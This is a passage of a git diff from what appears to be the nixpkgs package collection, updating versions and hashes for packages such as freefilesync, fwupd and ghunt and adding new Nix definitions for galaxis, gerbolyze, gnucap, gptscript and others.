ZEN_CHECK_CASE_FOR_CONSTANT(CURLE_UNRECOVERABLE_POLL); -+ ZEN_CHECK_CASE_FOR_CONSTANT(CURLE_TOO_LARGE); - ZEN_CHECK_CASE_FOR_CONSTANT(CURL_LAST); - } -- static_assert(CURL_LAST == CURLE_UNRECOVERABLE_POLL + 1); -+ static_assert(CURL_LAST == CURLE_TOO_LARGE + 1); - - return replaceCpy<std::wstring>(L"Curl status %x", L"%x", numberTo<std::wstring>(static_cast<int>(sc))); - } diff --git a/pkgs/by-name/fr/freefilesync/package.nix b/pkgs/by-name/fr/freefilesync/package.nix index 73a00b8159871..eb8e8cf9b295d 100644 --- a/pkgs/by-name/fr/freefilesync/package.nix +++ b/pkgs/by-name/fr/freefilesync/package.nix @@ -18,7 +18,7 @@ stdenv.mkDerivation (finalAttrs: { pname = "freefilesync"; - version = "13.3"; + version = "13.4"; src = fetchurl { url = "https://freefilesync.org/download/FreeFileSync_${finalAttrs.version}_Source.zip"; @@ -27,7 +27,7 @@ stdenv.mkDerivation (finalAttrs: { rm -f $out tryDownload "$url" ''; - hash = "sha256-mpCCecG1teBjIJqCzB3pGAQKT6t8bMKbK8KihMXOn3g="; + hash = "sha256-0c4HYlah9aHsMMyCz/TjgA59pTce4hogz5n6Xf9Myho="; }; sourceRoot = "."; @@ -56,14 +56,6 @@ stdenv.mkDerivation (finalAttrs: { patch = "Disable_wxWidgets_uncaught_exception_handling.patch"; hash = "sha256-Fem7eDDKSqPFU/t12Jco8OmYC8FM9JgB4/QVy/ouvbI="; }) - # Fix gui freeze - (fetchDebianPatch { - pname = "freefilesync"; - version = "13.3"; - debianRevision = "1"; - patch = "revert_buggy_gtk3_change_in_12.1.patch"; - hash = "sha256-eqush3zXxypQUxtO5110GoOJ30F5LZcF8XIC/Y8/fgM="; - }) # Disable update patch (fetchDebianPatch { pname = "freefilesync"; @@ -72,8 +64,6 @@ stdenv.mkDerivation (finalAttrs: { patch = "ffs_no_check_updates.patch"; hash = "sha256-lPyHpxhZz8BSnDI8QfAzKpKwVkp2jiF49RWjKNuZGII="; }) - # Fix build with curl 8.6.0 - ./curl-8.6.0.patch ]; nativeBuildInputs = [ diff --git a/pkgs/by-name/fw/fwupd/package.nix b/pkgs/by-name/fw/fwupd/package.nix index 532ba9bb25373..e87ebdc04d6f0 100644 --- a/pkgs/by-name/fw/fwupd/package.nix +++ b/pkgs/by-name/fw/fwupd/package.nix @@ -120,7 +120,7 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "fwupd"; - version = "1.9.13"; + version = "1.9.14"; # libfwupd goes to lib # daemon, plug-ins and libfwupdplugin go to out @@ -131,7 +131,7 @@ stdenv.mkDerivation (finalAttrs: { owner = "fwupd"; repo = "fwupd"; rev = finalAttrs.version; - hash = "sha256-h2e9MFTb777xbNRlzKWXc5GUdu/BHSkJTaogEE5byjo="; + hash = "sha256-pG4pRksHw8p8rz99UnLURP+ROE+P+ySt4IlfmyRc1CQ="; }; patches = [ diff --git a/pkgs/by-name/ga/galaxis/package.nix b/pkgs/by-name/ga/galaxis/package.nix new file mode 100644 index 0000000000000..788a7453e20ff --- /dev/null +++ b/pkgs/by-name/ga/galaxis/package.nix @@ -0,0 +1,71 @@ +{ lib +, asciidoctor +, fetchFromGitLab +, ncurses +, stdenv +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "galaxis"; + version = "1.11"; + + src = fetchFromGitLab { + owner = "esr"; + repo = "galaxis"; + rev = finalAttrs.version; + hash = "sha256-fSzifGoSdWyFGt99slzAsqCMDoeLbBqQGXujX8QAfGc="; + }; + + outputs = [ "out" "man" ]; + + nativeBuildInputs = [ + asciidoctor + ]; + + buildInputs = [ + ncurses + ]; + + strictDeps = true; + + makeFlags = [ + "CC=${stdenv.cc.targetPrefix}cc" + "galaxis" + "galaxis.6" + ]; + + postPatch = '' + sed -i -E '/[[:space:]]*xmlto/ s|xmlto|xmlto --skip-validation|' Makefile + ''; + + # This is better than sed-patch the Makefile + installPhase = '' + runHook preInstall + mkdir -p $out/bin $man/share/man/man6 + install -Dm755 galaxis -t $out/bin/ + install -Dm644 galaxis.6 -t $man/share/man/man6 + runHook postInstall + ''; + + meta = { + description = "Rescue lifeboats lost in interstellar space"; + longDescription = '' + Lifeboats from a crippled interstellar liner are adrift in a starfield. To + find them, you can place probes that look in all eight compass directions + and tell you how many lifeboats they see. If you drop a probe directly on + a lifeboat it will be revealed immediately. Your objective: find the + lifeboats as quickly as possible, before the stranded passengers run out + of oxygen! + + This is a UNIX-hosted, curses-based clone of the nifty little Macintosh + freeware game Galaxis. It doesn't have the super-simple, point-and-click + interface of the original, but compensates by automating away some of the + game's simpler deductions. + ''; + homepage = "http://catb.org/~esr/galaxis/"; + license = with lib.licenses; [ gpl2Plus ]; + mainProgram = "galaxis"; + maintainers = with lib.maintainers; [ AndersonTorres ]; + platforms = lib.platforms.linux; + }; +}) diff --git a/pkgs/by-name/ga/galleta/package.nix b/pkgs/by-name/ga/galleta/package.nix index 9127d5293c3cd..651a8eafa3266 100644 --- a/pkgs/by-name/ga/galleta/package.nix +++ b/pkgs/by-name/ga/galleta/package.nix @@ -1,6 +1,7 @@ { lib , stdenv , fetchzip +, fetchpatch }: stdenv.mkDerivation (finalAttrs: { @@ -12,8 +13,30 @@ stdenv.mkDerivation (finalAttrs: { hash = "sha256-tc5XLToyQZutb51ZoBlGWXDpsSqdJ89bjzJwY8kRncA="; }; + patches = [ + # fix some GCC warnings. + (fetchpatch { + url = "https://salsa.debian.org/pkg-security-team/galleta/-/raw/998470d8151b2f3a4bec71ae340c30f252d03a9b/debian/patches/10_fix-gcc-warnings.patch"; + hash = "sha256-b8VJGSAoSnWteyUbC2Ue3tqkpho7gyn+E/yrN2O3G9c="; + }) + # make Makefile compliant with Debian and add GCC hardening. + (fetchpatch { + url = "https://salsa.debian.org/pkg-security-team/galleta/-/raw/553c237a34995d9f7fc0383ee547d4f5cd004d5b/debian/patches/20_fix-makefile.patch"; + hash = "sha256-+rnoTrlXtWl9zmZlkvqbJ+YlIXFCpKOqvxIkN8xxtsg="; + }) + # Fix cross compilation. + # Galleta fails to cross build from source, because the upstream + # Makefile hard codes the build architecture compiler. The patch + # makes the compiler substitutable and galleta cross buildable. + (fetchpatch { + url = "https://salsa.debian.org/pkg-security-team/galleta/-/raw/f0f51a5a9e5adc0279f78872461fa57ee90d6842/debian/patches/30-fix-FTBS-cross-compilation.patch"; + hash = "sha256-ZwymEVJy7KvLFvNOcVZqDtJPxEcpQBVg+u+G+kSDZBo="; + }) + ]; + makeFlags = [ "-C src" + "CC=cc" ]; enableParallelBuilding = true; @@ -21,7 +44,7 @@ stdenv.mkDerivation (finalAttrs: { installPhase = '' runHook preInstall mkdir -p $out/bin - cp bin/galleta $out/bin + cp src/galleta $out/bin runHook postInstall ''; diff --git a/pkgs/by-name/ge/gerbolyze/package.nix b/pkgs/by-name/ge/gerbolyze/package.nix new file mode 100644 index 0000000000000..ce177e6aa03bf --- /dev/null +++ b/pkgs/by-name/ge/gerbolyze/package.nix @@ -0,0 +1,92 @@ +{ lib +, stdenv +, python3Packages +, fetchFromGitHub +, resvg +}: + +let + version = "3.1.7"; + src = fetchFromGitHub { + owner = "jaseg"; + repo = "gerbolyze"; + rev = "v${version}"; + hash = "sha256-0iTelSlUJUafclRowwsUAoO44nc/AXaOKXnZKfKOIaE="; + fetchSubmodules = true; + }; + + svg-flatten = stdenv.mkDerivation rec { + inherit version src; + pname = "svg-flatten"; + + sourceRoot = "${src.name}/svg-flatten"; + + postPatch = '' + substituteInPlace Makefile \ + --replace "$(INSTALL) $(BUILDDIR)/$(BINARY) $(PREFIX)/bin" \ + "$(INSTALL) $(BUILDDIR)/$(BINARY) $(PREFIX)/bin/svg-flatten" \ + ''; + + installPhase = '' + runHook preInstall + mkdir -p $out/bin + PREFIX=$out make install + runHook postInstall + ''; + + meta = with lib; { + description = "svg-flatten SVG downconverter"; + homepage = "https://github.com/jaseg/gerbolyze"; + license = with licenses; [ agpl3 ]; + maintainers = with maintainers; [ wulfsta ]; + mainProgram = "svg-flatten"; + platforms = platforms.linux; + }; + }; +in python3Packages.buildPythonApplication rec { + inherit version src; + pname = "gerbolyze"; + + format = "setuptools"; + + nativeBuildInputs = [ + python3Packages.setuptools + ]; + + propagatedBuildInputs = [ + python3Packages.beautifulsoup4 + python3Packages.click + python3Packages.numpy + python3Packages.scipy + python3Packages.python-slugify + python3Packages.lxml + python3Packages.gerbonara + resvg + svg-flatten + ]; + + preConfigure = '' + # setup.py tries to execute a call to git in a subprocess, this avoids it. + substituteInPlace setup.py \ + --replace "version = get_version()," \ + "version = '${version}'," \ + + # setup.py tries to execute a call to git in a subprocess, this avoids it. + substituteInPlace setup.py \ + --replace "long_description=format_readme_for_pypi()," \ + "long_description='\n'.join(Path('README.rst').read_text().splitlines())," + ''; + + pythonImportsCheck = [ "gerbolyze" ]; + + nativeCheckInputs = [ python3Packages.pytestCheckHook resvg svg-flatten ]; + + meta = with lib; { + description = "Directly render SVG overlays into Gerber and Excellon files"; + homepage = "https://github.com/jaseg/gerbolyze"; + license = with licenses; [ agpl3 ]; + maintainers = with maintainers; [ wulfsta ]; + mainProgram = "gerbolyze"; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/gh/gh-poi/package.nix b/pkgs/by-name/gh/gh-poi/package.nix new file mode 100644 index 0000000000000..e10a74a1c9c13 --- /dev/null +++ b/pkgs/by-name/gh/gh-poi/package.nix @@ -0,0 +1,33 @@ +{ lib +, fetchFromGitHub +, buildGoModule +}: + +buildGoModule rec { + pname = "gh-poi"; + version = "0.9.8"; + + src = fetchFromGitHub { + owner = "seachicken"; + repo = "gh-poi"; + rev = "v${version}"; + hash = "sha256-QpUZxho9hzmgbCFgNxwwKi6hhfyqc4b/JYKH3rP4Eb8="; + }; + + ldflags = [ "-s" "-w" ]; + + vendorHash = "sha256-D/YZLwwGJWCekq9mpfCECzJyJ/xSlg7fC6leJh+e8i0="; + + # Skip checks because some of test suites require fixture. + # See: https://github.com/seachicken/gh-poi/blob/v0.9.8/.github/workflows/contract-test.yml#L28-L29 + doCheck = false; + + meta = with lib; { + changelog = "https://github.com/seachicken/gh-poi/releases/tag/${src.rev}"; + description = "GitHub CLI extension to safely clean up your local branches"; + homepage = "https://github.com/seachicken/gh-poi"; + license = licenses.mit; + maintainers = with maintainers; [ aspulse ]; + mainProgram = "gh-poi"; + }; +} diff --git a/pkgs/by-name/gh/ghunt/package.nix b/pkgs/by-name/gh/ghunt/package.nix index ff4e7340409f9..ddd139f389076 100644 --- a/pkgs/by-name/gh/ghunt/package.nix +++ b/pkgs/by-name/gh/ghunt/package.nix @@ -5,16 +5,23 @@ python3.pkgs.buildPythonApplication rec { pname = "ghunt"; - version = "2.0.1"; - format = "setuptools"; + version = "2.1.0"; + pyproject = true; src = fetchFromGitHub { owner = "mxrch"; repo = "ghunt"; rev = "refs/tags/v${version}"; - hash = "sha256-7awLKX+1fVbufg3++lUUCZg4p07c2yGeefiPFcE1Ij4="; + hash = "sha256-UeHVATTyAH3Xdm/NVSUhiicM+tZ4UnLeJsy1jSLK3v8="; }; + pythonRelaxDeps = true; + + nativeBuildInputs = with python3.pkgs; [ + pythonRelaxDepsHook + setuptools + ]; + propagatedBuildInputs = with python3.pkgs; [ alive-progress autoslot diff --git a/pkgs/by-name/gi/gickup/package.nix b/pkgs/by-name/gi/gickup/package.nix index b30e7fe11d8f6..55ae72c6e94cb 100644 --- a/pkgs/by-name/gi/gickup/package.nix +++ b/pkgs/by-name/gi/gickup/package.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "gickup"; - version = "0.10.26"; + version = "0.10.28"; src = fetchFromGitHub { owner = "cooperspencer"; repo = "gickup"; rev = "refs/tags/v${version}"; - hash = "sha256-GYYmoGNYiwarMZw1w8tdH8zKl19XQ2R+EaJFK8iacwI="; + hash = "sha256-IGzwMSpbGiUjlO7AtxL20m72VXYW3MJemLpO5BN2rMo="; }; - vendorHash = "sha256-vyDzGho9vcdCmBP7keccp5w3tXWHlSaFoncS1hqnBoc="; + vendorHash = "sha256-sINmTwUERhxZ/qEAhKiJratWV6fDxrP21cJg97RBKVc="; ldflags = ["-X main.version=${version}"]; diff --git a/pkgs/by-name/gi/git-releaser/package.nix b/pkgs/by-name/gi/git-releaser/package.nix index f5be82cec2936..8e88862bf02ec 100644 --- a/pkgs/by-name/gi/git-releaser/package.nix +++ b/pkgs/by-name/gi/git-releaser/package.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "git-releaser"; - version = "0.1.2"; + version = "0.1.3"; src = fetchFromGitHub { owner = "git-releaser"; repo = "git-releaser"; rev = "refs/tags/v${version}"; - hash = "sha256-rgnOXon68QMfVbyYhERy5z2pUlLCBwum7a/U9kdp5M0="; + hash = "sha256-27xUsqFuAu02jYLi3LiTnVjifqZIr39lPwMfJea7a4A="; }; - vendorHash = "sha256-O6Rqdf6yZvW8aix51oIziip+WcVIiyDZZ2VOQfwP8Fs="; + vendorHash = "sha256-uKS7MwCak/CjnMjzFKqYypBVZFl+3hD1xVaOPvQV9E0="; ldflags = [ "-X main.version=${version}" ]; diff --git a/pkgs/by-name/gi/git-together/package.nix b/pkgs/by-name/gi/git-together/package.nix new file mode 100644 index 0000000000000..1fd062760de02 --- /dev/null +++ b/pkgs/by-name/gi/git-together/package.nix @@ -0,0 +1,35 @@ +{ lib +, stdenv +, fetchFromGitHub +, rustPlatform +, openssl +, pkg-config +, darwin +}: + +rustPlatform.buildRustPackage rec { + pname = "git-together"; + version = "v0.1.0-alpha.26"; + + src = fetchFromGitHub { + owner = "kejadlen"; + repo = "git-together"; + rev = version; + hash = "sha256-2HgOaqlX0mmmvRlALHm90NAdIhby/jWUJO63bQFqc+4="; + }; + + nativeBuildInputs = [ pkg-config ]; + buildInputs = [ openssl ] ++ lib.optional stdenv.isDarwin darwin.Security; + + OPENSSL_NO_VENDOR = true; + + cargoHash = "sha256-mIkhXVuSgcsQf4be7NT0R8rkN9tdgim41gqjbq3ndPA="; + + meta = with lib; { + description = "Better commit attribution while pairing without messing with your git workflow"; + homepage = "https://github.com/kejadlen/git-together"; + license = licenses.mit; + maintainers = with maintainers; [ sentientmonkey ]; + mainProgram = "git-together"; + }; +} diff --git a/pkgs/by-name/gi/gitlab-ci-local/package.nix b/pkgs/by-name/gi/gitlab-ci-local/package.nix new file mode 100644 index 0000000000000..fdb21f92fac75 --- /dev/null +++ b/pkgs/by-name/gi/gitlab-ci-local/package.nix @@ -0,0 +1,40 @@ +{ buildNpmPackage +, fetchFromGitHub +, lib +, nix-update-script +}: + +buildNpmPackage rec { + pname = "gitlab-ci-local"; + version = "4.46.1"; + + src = fetchFromGitHub { + owner = "firecow"; + repo = "gitlab-ci-local"; + rev = version; + hash = "sha256-0NUmsbuzs004w9ETj4e4nO+sDvYHQh9SwJoRc3+r+j8="; + }; + + npmDepsHash = "sha256-zCBNUKmLluVCDoPHuKy9KMKCGL8FqopFhKq7QCAUe4U="; + + postPatch = '' + # remove cleanup which runs git commands + substituteInPlace package.json \ + --replace-fail "npm run cleanup" "true" + ''; + + passthru.updateScript = nix-update-script { }; + + meta = with lib;{ + description = "Run gitlab pipelines locally as shell executor or docker executor"; + longDescription = '' + Tired of pushing to test your .gitlab-ci.yml? + Run gitlab pipelines locally as shell executor or docker executor. + Get rid of all those dev specific shell scripts and make files. + ''; + homepage = "https://github.com/firecow/gitlab-ci-local"; + license = licenses.mit; + maintainers = with maintainers; [ pineapplehunter ]; + platforms = platforms.all; + }; +} diff --git a/pkgs/by-name/gl/glauth/package.nix b/pkgs/by-name/gl/glauth/package.nix index 97fc0be03e18a..f049321e114b4 100644 --- a/pkgs/by-name/gl/glauth/package.nix +++ b/pkgs/by-name/gl/glauth/package.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "glauth"; - version = "2.3.1"; + version = "2.3.2"; src = fetchFromGitHub { owner = "glauth"; repo = "glauth"; rev = "v${version}"; - hash = "sha256-OkkiB1AGO7r7ehpnSJ+cB00crVpZ5Cwy4rAT55LUUdE="; + hash = "sha256-FOhtL8nIm5kuKRxFtkrDyUU2z1K22ZdHaes3GY0KmfQ="; }; vendorHash = "sha256-MfauZRufl3kxr1fqatxTmiIvLJ+5JhbpSnbTHiujME8="; diff --git a/pkgs/by-name/gl/glide-media-player/package.nix b/pkgs/by-name/gl/glide-media-player/package.nix index dc2475c768d60..62839033383c7 100644 --- a/pkgs/by-name/gl/glide-media-player/package.nix +++ b/pkgs/by-name/gl/glide-media-player/package.nix @@ -19,25 +19,29 @@ stdenv.mkDerivation rec { pname = "glide-media-player"; - version = "0.6.1"; + version = "0.6.2"; src = fetchFromGitHub { owner = "philn"; repo = "glide"; rev = version; - hash = "sha256-dIXuWaoTeyVBhzr6VWxYBsn+CnUYG/KzhzNJtLLdRuI="; + hash = "sha256-SN/1Yf4fHlDbJ2X6DGktsn1GFW8bbkeznlO1S8sBZyg="; }; cargoDeps = rustPlatform.fetchCargoTarball { inherit src; name = "${pname}-${version}"; - hash = "sha256-azvxW40fuKuF/N0qwzofFk1bZiNxyTN6YBFU5qHQkCA="; + hash = "sha256-2Ma7ZAKFiAQXFWFze4RLwGu33d/vC6FVW6fJdqwED20="; }; postPatch = '' substituteInPlace scripts/meson_post_install.py \ - --replace "gtk-update-icon-cache" "gtk4-update-icon-cache" - patchShebangs --build scripts/meson_post_install.py + --replace-warn "gtk-update-icon-cache" "gtk4-update-icon-cache" + substituteInPlace data/net.baseart.Glide.desktop \ + --replace-warn "Icon=net.baseart.Glide.svg" "Icon=net.baseart.Glide" + patchShebangs --build \ + scripts/meson_post_install.py \ + build-aux/cargo-build.py '' + lib.optionalString stdenv.isDarwin '' sed -i "/wayland,x11egl,x11glx/d" meson.build ''; diff --git a/pkgs/by-name/gn/gnucap/modelgen-verilog.nix b/pkgs/by-name/gn/gnucap/modelgen-verilog.nix new file mode 100644 index 0000000000000..c22cd368bee69 --- /dev/null +++ b/pkgs/by-name/gn/gnucap/modelgen-verilog.nix @@ -0,0 +1,37 @@ +{ lib +, stdenv +, fetchurl +, gnucap +}: + +stdenv.mkDerivation rec { + pname = "gnucap-modelgen-verilog"; + version = "20240130-dev"; + + src = fetchurl { + url = "https://git.savannah.gnu.org/cgit/gnucap/gnucap-modelgen-verilog.git/snapshot/${pname}-${version}.tar.gz"; + hash = "sha256-7w0eWUJKVRYFicQgDvKrJTkZ6fzgwxvcCKj78KrHj8E="; + }; + + propagatedBuildInputs = [ gnucap ]; + + doCheck = true; + + preInstall = '' + export GNUCAP_EXEC_PREFIX=$out + export GNUCAP_DATA=$out/share/gnucap + mkdir -p $out/include/gnucap + export GNUCAP_INCLUDEDIR=$out/include/gnucap + export GNUCAP_PKGLIBDIR=$out/lib/gnucap + ''; + + meta = with lib; { + description = "gnucap modelgen to preprocess, parse and dump vams files."; + homepage = "http://www.gnucap.org/"; + changelog = "https://git.savannah.gnu.org/cgit/gnucap.git/plain/NEWS?h=v${version}"; + mainProgram = "gnucap-mg-vams"; + license = licenses.gpl3Plus; + platforms = platforms.all; + maintainers = [ maintainers.raboof ]; + }; +} diff --git a/pkgs/by-name/gn/gnucap/package.nix b/pkgs/by-name/gn/gnucap/package.nix new file mode 100644 index 0000000000000..d50e6eb8712d1 --- /dev/null +++ b/pkgs/by-name/gn/gnucap/package.nix @@ -0,0 +1,73 @@ +{ lib +, stdenv +, fetchurl +, readline +, termcap +, gnucap +, callPackage +, writeScript +}: + +let + version = "20240130-dev"; + meta = with lib; { + description = "Gnu Circuit Analysis Package"; + longDescription = '' +Gnucap is a modern general purpose circuit simulator with several advantages over Spice derivatives. +It performs nonlinear dc and transient analyses, fourier analysis, and ac analysis. + ''; + homepage = "http://www.gnucap.org/"; + changelog = "https://git.savannah.gnu.org/cgit/gnucap.git/plain/NEWS?h=v${version}"; + license = licenses.gpl3Plus; + platforms = platforms.all; + broken = stdenv.isDarwin; # Relies on LD_LIBRARY_PATH + maintainers = [ maintainers.raboof ]; + mainProgram = "gnucap"; + }; +in +stdenv.mkDerivation rec { + pname = "gnucap"; + inherit version; + + src = fetchurl { + url = "https://git.savannah.gnu.org/cgit/gnucap.git/snapshot/${pname}-${version}.tar.gz"; + hash = "sha256-MUCtGw3BxGWgXgUwzklq5T1y9kjBTnFBa0/GK0hhl0E="; + }; + + buildInputs = [ + readline + termcap + ]; + + doCheck = true; + + inherit meta; +} // { + plugins = callPackage ./plugins.nix {}; + withPlugins = p: + let + selectedPlugins = p gnucap.plugins; + wrapper = writeScript "gnucap" '' + export GNUCAP_PLUGPATH=${gnucap}/lib/gnucap + for plugin in ${builtins.concatStringsSep " " selectedPlugins}; do + export GNUCAP_PLUGPATH=$plugin/lib/gnucap:$GNUCAP_PLUGPATH + done + ${lib.getExe gnucap} + ''; + in + stdenv.mkDerivation { + pname = "gnucap-with-plugins"; + inherit version; + + propagatedBuildInputs = selectedPlugins; + + phases = [ "installPhase" "fixupPhase" ]; + + installPhase = '' + mkdir -p $out/bin + cp ${wrapper} $out/bin/gnucap + ''; + + inherit meta; + }; +} diff --git a/pkgs/by-name/gn/gnucap/plugins.nix b/pkgs/by-name/gn/gnucap/plugins.nix new file mode 100644 index 0000000000000..fbdcd9548b334 --- /dev/null +++ b/pkgs/by-name/gn/gnucap/plugins.nix @@ -0,0 +1,6 @@ +{ callPackage +}: + +{ + verilog = callPackage ./modelgen-verilog.nix {}; +} diff --git a/pkgs/by-name/go/go-camo/package.nix b/pkgs/by-name/go/go-camo/package.nix index cae992068712f..19523f903be08 100644 --- a/pkgs/by-name/go/go-camo/package.nix +++ b/pkgs/by-name/go/go-camo/package.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "go-camo"; - version = "2.4.8"; + version = "2.4.9"; src = fetchFromGitHub { owner = "cactus"; repo = pname; rev = "v${version}"; - sha256 = "sha256-Y2Zhr8MhIN13AYMq0t9QASfd2Mgp4tiFmrpc6VTIUq0="; + sha256 = "sha256-d2W7XI/4MKyn9PgIYUJKew/WWA9z5Ut78bsk6Z5Qfxk="; }; - vendorHash = "sha256-O3JatOmQrNZRxKa9dTYQpVoPUIuFIbnEXpak3PXJquA="; + vendorHash = "sha256-BGQ+2i3HQCKOSUTl2+xaQqQQE7MCtmJ1IHL2ZRz5whk="; ldflags = [ "-s" "-w" "-X=main.ServerVersion=${version}" ]; diff --git a/pkgs/by-name/go/go-critic/package.nix b/pkgs/by-name/go/go-critic/package.nix index 82299f5ae7a09..ea59125410635 100644 --- a/pkgs/by-name/go/go-critic/package.nix +++ b/pkgs/by-name/go/go-critic/package.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "go-critic"; - version = "0.11.0"; + version = "0.11.2"; src = fetchFromGitHub { owner = "go-critic"; repo = "go-critic"; rev = "v${version}"; - hash = "sha256-jL/z1GtHmEbS8vsIYG1jEZOxySXqU92WIq9p+GDTP8E="; + hash = "sha256-xej9ROsJYrjvlitxnAjUKPsp0kb8INvFnkdNfYiycz8="; }; - vendorHash = "sha256-qQO4JWMU8jfc64CBPaMRYRbUsgLQZx9P5AKbSPyHnRE="; + vendorHash = "sha256-pYdnZjCGx+skF/kqA1QO3NuVqOfsMJNVhFBpwtdZhIA="; subPackages = [ "cmd/gocritic" diff --git a/pkgs/by-name/go/go-errorlint/package.nix b/pkgs/by-name/go/go-errorlint/package.nix new file mode 100644 index 0000000000000..5c67519c4ea5f --- /dev/null +++ b/pkgs/by-name/go/go-errorlint/package.nix @@ -0,0 +1,29 @@ +{ lib +, buildGoModule +, fetchFromGitHub +}: + +buildGoModule rec { + pname = "go-errorlint"; + version = "1.4.5"; + + src = fetchFromGitHub { + owner = "polyfloyd"; + repo = "go-errorlint"; + rev = "v${version}"; + hash = "sha256-BU+3sLUGBCFA1JYFxTEyIan+iWB7Y7SaMFVomfNObMg="; + }; + + vendorHash = "sha256-xn7Ou4l8vbPD44rsN0mdFjTzOvkfv6QN6i5XR1XPxTE="; + + ldflags = [ "-s" "-w" ]; + + meta = with lib; { + description = "A source code linter that can be used to find code that will cause problems with Go's error wrapping scheme"; + homepage = "https://github.com/polyfloyd/go-errorlint"; + changelog = "https://github.com/polyfloyd/go-errorlint/blob/${src.rev}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ meain ]; + mainProgram = "go-errorlint"; + }; +} diff --git a/pkgs/by-name/go/goldwarden/package.nix b/pkgs/by-name/go/goldwarden/package.nix index edb7f892efd9b..b972ebe1bcc8d 100644 --- a/pkgs/by-name/go/goldwarden/package.nix +++ b/pkgs/by-name/go/goldwarden/package.nix @@ -10,16 +10,16 @@ buildGoModule rec { pname = "goldwarden"; - version = "0.2.10"; + version = "0.2.13"; src = fetchFromGitHub { owner = "quexten"; repo = "goldwarden"; rev = "v${version}"; - hash = "sha256-NYK9H9BCjUweip8HjxHqN2wjUGmg0zicJSC/S1hpvx8="; + hash = "sha256-4KxPtsIEW46p+cFx6yeSdNlsffy9U31k+ZSkE6V0AFc="; }; - vendorHash = "sha256-AiYgI2dBhVYxGNU7t4dywi8KWiffO6V05KFYoGzA0t4="; + vendorHash = "sha256-IH0p7t1qInA9rNYv6ekxDN/BT5Kguhh4cZfmL+iqwVU="; ldflags = [ "-s" "-w" ]; diff --git a/pkgs/by-name/gp/gpt4all-chat/package.nix b/pkgs/by-name/gp/gpt4all/package.nix index 272738a381da3..452295b7c3612 100644 --- a/pkgs/by-name/gp/gpt4all-chat/package.nix +++ b/pkgs/by-name/gp/gpt4all/package.nix @@ -10,12 +10,12 @@ }: stdenv.mkDerivation (finalAttrs: { - pname = "gpt4all-chat"; - version = "2.7.0"; + pname = "gpt4all"; + version = "2.7.2"; src = fetchFromGitHub { fetchSubmodules = true; - hash = "sha256-l9Do58Cld9n89J+px8RPjyioIa0Bo3qGSQe7QEGcZr8="; + hash = "sha256-casGjHiVZXec+9HGIH5fcpfWgLfsGCM5pEBINXJgMY8="; owner = "nomic-ai"; repo = "gpt4all"; rev = "v${finalAttrs.version}"; @@ -63,10 +63,11 @@ stdenv.mkDerivation (finalAttrs: { ''; meta = { + changelog = "https://github.com/nomic-ai/gpt4all/releases/tag/v${finalAttrs.version}"; description = "A free-to-use, locally running, privacy-aware chatbot. No GPU or internet required"; - homepage = "https://github.com/nomic-ai/gpt4all-chat"; + homepage = "https://github.com/nomic-ai/gpt4all"; license = lib.licenses.mit; - mainProgram = "gpt4all-chat"; + mainProgram = "gpt4all"; maintainers = with lib.maintainers; [ drupol polygon ]; }; }) diff --git a/pkgs/by-name/gp/gptscript/package.nix b/pkgs/by-name/gp/gptscript/package.nix new file mode 100644 index 0000000000000..0cd7af6cb2217 --- /dev/null +++ b/pkgs/by-name/gp/gptscript/package.nix @@ -0,0 +1,37 @@ +{ + lib, + buildGo122Module, + fetchFromGitHub, +}: +buildGo122Module rec { + pname = "gptscript"; + version = "0.1.1"; + + src = fetchFromGitHub { + owner = "gptscript-ai"; + repo = pname; + rev = "refs/tags/v${version}"; + hash = "sha256-zG75L10WvfkmjwW3ifBHaTkHNXqXvNO0PaXejCc2tls="; + }; + + vendorHash = "sha256-LV9uLLwdtLJTIxaBB1Jew92S0QjQsceyLEfSrDeDnR4="; + + ldflags = [ + "-s" + "-w" + "-X main.Version=${version}" + "-X main.Commit=${version}" + ]; + + # Requires network access + doCheck = false; + + meta = with lib; { + homepage = "https://gptscript.ai"; + changelog = "https://github.com/gptscript-ai/gptscript/releases/tag/v{version}"; + description = "Natural Language Programming"; + license = with licenses; [asl20]; + maintainers = with maintainers; [jamiemagee]; + mainProgram = "gptscript"; + }; +} diff --git a/pkgs/by-name/gr/graphite-cli/package-lock.json b/pkgs/by-name/gr/graphite-cli/package-lock.json index 7ca424bbf432e..a39c0cc0c7965 100644 --- a/pkgs/by-name/gr/graphite-cli/package-lock.json +++ b/pkgs/by-name/gr/graphite-cli/package-lock.json @@ -1,12 +1,12 @@ { "name": "@withgraphite/graphite-cli", - "version": "1.1.5", + "version": "1.2.3", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@withgraphite/graphite-cli", - "version": "1.1.5", + "version": "1.2.3", "license": "None", "dependencies": { "chalk": "^4.1.2", diff --git a/pkgs/by-name/gr/graphite-cli/package.nix b/pkgs/by-name/gr/graphite-cli/package.nix index 8ebe2d01c02fc..abcd808919bc8 100644 --- a/pkgs/by-name/gr/graphite-cli/package.nix +++ b/pkgs/by-name/gr/graphite-cli/package.nix @@ -7,14 +7,14 @@ buildNpmPackage rec { pname = "graphite-cli"; - version = "1.1.5"; + version = "1.2.3"; src = fetchurl { url = "https://registry.npmjs.org/@withgraphite/graphite-cli/-/graphite-cli-${version}.tgz"; - hash = "sha256-/JnhUjrZq1iiXwqCSXZH250gu3yh6gJt6JjZRJ2OQd8="; + hash = "sha256-T18D4JkH9B0BcJt5rgfKJsiTRhgNBBu70l6MDtPMoHQ="; }; - npmDepsHash = "sha256-oQLombXIZRyjnKA04xuDZoZf2NO/0/xFfuXXmp46OaI="; + npmDepsHash = "sha256-AouEmq4wCzDxk34cjRv2vL+Me+LgeSH8S/sAAvw0Fks="; postPatch = '' ln -s ${./package-lock.json} package-lock.json @@ -42,6 +42,6 @@ buildNpmPackage rec { homepage = "https://graphite.dev/docs/graphite-cli"; license = lib.licenses.unfree; # no license specified mainProgram = "gt"; - maintainers = with lib.maintainers; [ ]; + maintainers = with lib.maintainers; [ diegs ]; }; } diff --git a/pkgs/by-name/gx/gxml/package.nix b/pkgs/by-name/gx/gxml/package.nix new file mode 100644 index 0000000000000..7ff34db4327d9 --- /dev/null +++ b/pkgs/by-name/gx/gxml/package.nix @@ -0,0 +1,60 @@ +{ stdenv +, lib +, 